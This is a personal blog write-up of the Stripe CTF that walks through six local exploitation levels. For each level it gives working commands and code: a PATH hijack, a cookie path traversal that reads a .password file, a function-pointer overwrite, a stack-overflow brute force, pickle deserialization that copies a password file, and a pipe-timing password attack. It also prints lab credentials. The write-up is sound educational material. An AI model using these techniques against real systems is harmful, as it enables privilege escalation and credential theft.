My Stripe CTF writeup
Recently Stripe (a startup trying to improve online payments for web developers) put online a fun CTF challenge with simple security exercises. Now that the challenge is done and the CTF is offline, I wanted to share my solutions with people who were interested in this CTF but were not able to solve it before the time limit.
Unfortunately I don’t have the original source code of the exercises here. I hope that the Stripe CTF organizers will publish those so that I can explain my exploits better 🙂
level01
The given binary executes system("date");
in order to display the
date. system
looks into the PATH
environment variable to locate binaries.
As an attacker, we can control PATH
and make it point to a directory we
control which contains a date
executable file. Here is my solution:
$ ln -s /bin/sh date
$ PATH=.:$PATH /levels/level01
level02
The MOTD gives us some infos about this level: there is a web server running
on localhost:80
which requires Digest
authentication to access a PHP page
of which we have the source. I don’t have the PHP source here but basically, it
checked for the existence of a cookie, and if it exists it displays the
contents of "/var/www/$cookie_value"
. Cookies can be manipulated by the
attacker, so we can control the displayed file. Here is my solution:
$ curl -v -b user_details=../../home/level03/.password\
-u level02:kxlVXUvzv --digest http://ctf.stri.pe/level02.php
level03
Things get a little harder. Here, we have a C binary which basically does this:
func_ptr table[4] = { func1, func2, func3, func4 };
int i = atoi(argv[1]);
if (i >= 4)
error();
table[i]();
This code does not check if i
is negative. We can use that to dereference a
function pointer which was put in the stack later. It turns out we can control
some part of the stack (our argv[2]
is copied in a stack buffer), so it is
just a matter of finding the right offset to control the function pointer
dereference and finding the right function on which to jump. Luckily, one of
the unused functions in the level03
binary is a wrapper for system(3)
and
we can use it to execute an arbitrary shell command. My solution:
/levels/level03 -27 "$(echo -ne "sh #\x5b\x87\x04\x08")"
Explanation: -27
if the offset to 4 characters after the start of
the argv[2]
copy, which contains our function pointer. The first 4 chars
of argv[2]
are the arbitrary command: sh
followed by the start of a comment
so that the sh
binary does not freak out 🙂
level04
The basic example of a stack overflow: strcpy
of a user controlled string
without any length check. This should be trivial to exploit, but the presence
of ASLR
makes it a bit harder: the stack location in memory is randomized,
making it hard to jump on our shellcode in the stack. To bypass that, there are
two solutions: either find a jmp *%eax
at a fixed address in memory (for
example, in .text
) and use it to overwrite the function return address so
that the ret
returns to the shellcode, or be hardcore and bruteforce the
address. Both solutions were doable, and I went with the bruteforce because I
did not think about the jmp *%eax
in the first place 😛 .
Using stackbf2.c with the right parameters, exploiting this is trivial. Basically:
gcc brute.c
./a.out /levels/level04 1040
Note: while I was writing this article, w4kfu gave
me a better solution: using ulimit -s unlimited
makes the exploit possible
using a ret2libc
technique. Food for thought 🙂
level05
For this level we have a “large” client/server Python application which uses a server to process HTTP queries, put data in a queue so that it can be processed by a worker, and get data back from the queue when it has been processed. The worker waits for data to be put in the queue, uppercases the data, then puts it back in the queue. The queue is basically a directory with “job” files in this format:
type: %s; data: %s; job: %s
Data is unserialized using this code:
parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
match = parser.match(serialized)
direction = match.group(1)
data = match.group(2)
job = pickle.loads(match.group(3))
The trick is to see that you can basically get a user controlled string
for match.group(3)
if you have "; job: "
in your data. Python’s pickle
module is not really done to unserialize user controlled stuff: it is very easy
to make it do what you want as soon as you control what it unserializes.
You can control how an object is serialized using its __reduce__
method. I
basically created an object with __reduce__
calling os.system("cp /home/level06/.password /tmp/1")
, injected it as a “job” object into the
queue, and got the password file copied where I wanted it.
level06
When I first saw the code I immediately thought “this must be exploited through
a timing attack: count the number of characters written on stderr
before data
is written on stdout
”. Unfortunately, it is not that easy: scheduling and
pipe bufferization completely breaks all forms of basic timing you could use. I
tried several methods to get the writes on stderr
to block so that I could
more precisely detect when the write on stdout
was done, but did not manage
it the first day.
Then, the day before the end of the CTF, I thought a bit more about it (I
really wanted a free t-shirt :D) and the solution came to my mind: prefilling
the pipe buffer so that we can control after how many characters it blocks.
That way we can see if the write on stdout
was done before a certain number
of characters on stderr
. That way we can bruteforce one character by one
character to get the full password to level06
. Here is my exploit code which
checks if the start of the password matches argv[1]
:
import os
import signal
import sys
CONSTSIZE = 33
PIPEBUFSIZE = 65536
orig_guess = guess = sys.argv[1]
guess += "a" # because we need one more char to be sure
out, out_child = os.pipe()
err, err_child = os.pipe()
pid = os.fork()
if not pid:
os.write(err_child, '\x00' * (65503 - len(orig_guess)))
os.dup2(out_child, 1)
os.dup2(err_child, 2)
os.execl('/levels/level06', 'level06', '/home/the-flag/.password', guess)
def alarmed(*a):
print 'Success: %r' % orig_guess
os.kill(pid, 9)
sys.exit(0)
signal.signal(signal.SIGALRM, alarmed)
signal.alarm(1)
os.read(out, 1)
print 'Fail: %r' % orig_guess
os.kill(pid, 9)
sys.exit(1)
Final key: theflagl0eFTtT5oi0nOTxO5
Conclusion
Overall, this was a really fun CTF organized by the folks at Stripe. It’s really too bad that it was not longer (if I did not get stuck on that last exercise like an idiot I would have basically done it in 5 hours) with more complex exercises (remote exploitation is always fun, reverse engineering too 🙂 ). Still, it’s a great learning tool for people who are not really into computer security and local exploitation, and I’d like to see more people do that kind of stuff.